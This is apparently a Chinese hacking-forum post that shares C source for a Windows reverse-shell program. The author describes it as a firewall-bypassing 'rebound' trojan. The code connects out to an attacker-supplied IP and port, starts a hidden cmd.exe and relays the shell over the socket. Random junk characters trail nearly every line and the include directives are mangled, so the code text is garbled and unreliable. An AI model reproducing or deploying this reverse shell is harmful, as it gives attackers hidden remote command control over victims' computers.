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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c8s/`esA  
NEH$&%OV?  
/* ============================== eC39C2q\  
Rebound port in Windows NT =+L>^w#6=  
By wind,2006/7 R{B~Now3  
===============================*/ U,S286  
#include p[GyQ2k)  
#include <am7t[G."  
KAzRFX),  
#pragma comment(lib,"wsock32.lib") TDGzXJf[  
`ouzeu9}  
void OutputShell(); c2f$:XiM  
SOCKET sClient; &40]sxm  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b#U%aPH  
/km3L7L%R  
void main(int argc,char **argv) *X-$* ~J0  
{ ;CZcY] ol  
WSADATA stWsaData; Oe!&Jma*>  
int nRet; h:NXO'  
SOCKADDR_IN stSaiClient,stSaiServer; !;a<E:  
i5"q1dRQ  
if(argc != 3) iD`XD\.?  
{ mTgn}rXk  
printf("Useage:\n\rRebound DestIP DestPort\n"); @ $R a  
return; ;$Jvqq|T  
} q}i87a;m  
y^rg%RV  
WSAStartup(MAKEWORD(2,2),&stWsaData); #*/h*GNMs  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _JDr?Kg  
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stSaiClient.sin_family = AF_INET; UXJl;M b  
stSaiClient.sin_port = htons(0); ~-%A@Lt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QAwj]_  
k N+(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) : eFc.>KoD  
{ 3\G=J  
printf("Bind Socket Failed!\n"); BxU1Q&  
return; K=)R!e8  
} DeSTo9A}!  
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stSaiServer.sin_family = AF_INET; A'8K^,<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mg(56)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k]iS3+nD  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bYc qscW  
{ HWBom8u0  
printf("Connect Error!"); O2dgdtm  
return; :bDA<B6bb  
} S/;Y4o  
OutputShell(); 4vS!99v)  
} >6 #\1/RP  
=;=V4nKN  
void OutputShell() E}=NZqOB!  
{ O;BPd:<  
char szBuff[1024]; Gf\_WNrSE+  
SECURITY_ATTRIBUTES stSecurityAttributes; yFo5pKF.J  
OSVERSIONINFO stOsversionInfo; eHe /w9`$R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `qz5rPyZ  
STARTUPINFO stStartupInfo; {eEWfMKIn  
char *szShell; GcCs}(eo  
PROCESS_INFORMATION stProcessInformation; _'U?!  
unsigned long lBytesRead; xk8p,>/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P0z{R[KBH  
=[+&({  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5#\p>}[HG  
stSecurityAttributes.lpSecurityDescriptor = 0; *,*qv^  
stSecurityAttributes.bInheritHandle = TRUE; iGk{8Da<  
{B.]w9  
y3]"H(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %ko 8P  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :<8V2  
8v 1%H8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z-a(3&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vq7%SEkES  
stStartupInfo.wShowWindow = SW_HIDE; 7F:;3c  
stStartupInfo.hStdInput = hReadPipe; -%l, Zd9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y j\yO(o/  
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GetVersionEx(&stOsversionInfo); B31-<w  
63Yu05'  
switch(stOsversionInfo.dwPlatformId) y(h(mr  
{ nF$)F?||  
case 1: ~|C1$.-  
szShell = "command.com"; {~g  
break; ,z )NKt#  
default: ss8v4@C  
szShell = "cmd.exe"; #!,`EU  
break; 86F+N_>Z  
} 12xP)*:$  
>8O=^7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Bqlc+d:  
\Pmk`^T  
send(sClient,szMsg,77,0); )#~fS28j  
while(1) N|2  
{ B1#>$"_0}=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >C&<dO#i  
if(lBytesRead) M~F2cX W  
{ SfSEA^@|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \<x_96jt!\  
send(sClient,szBuff,lBytesRead,0); #@s~V<rW  
} <" l;l~Y1  
else , %O3^7i  
{ `f+g A  
lBytesRead=recv(sClient,szBuff,1024,0); +/86w59  
if(lBytesRead<=0) break; 1|w:xG^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?Hxgx  
} q.[[ c  
} A!Ct,%   
k]9>V@C  
return; *js$r+4  
}
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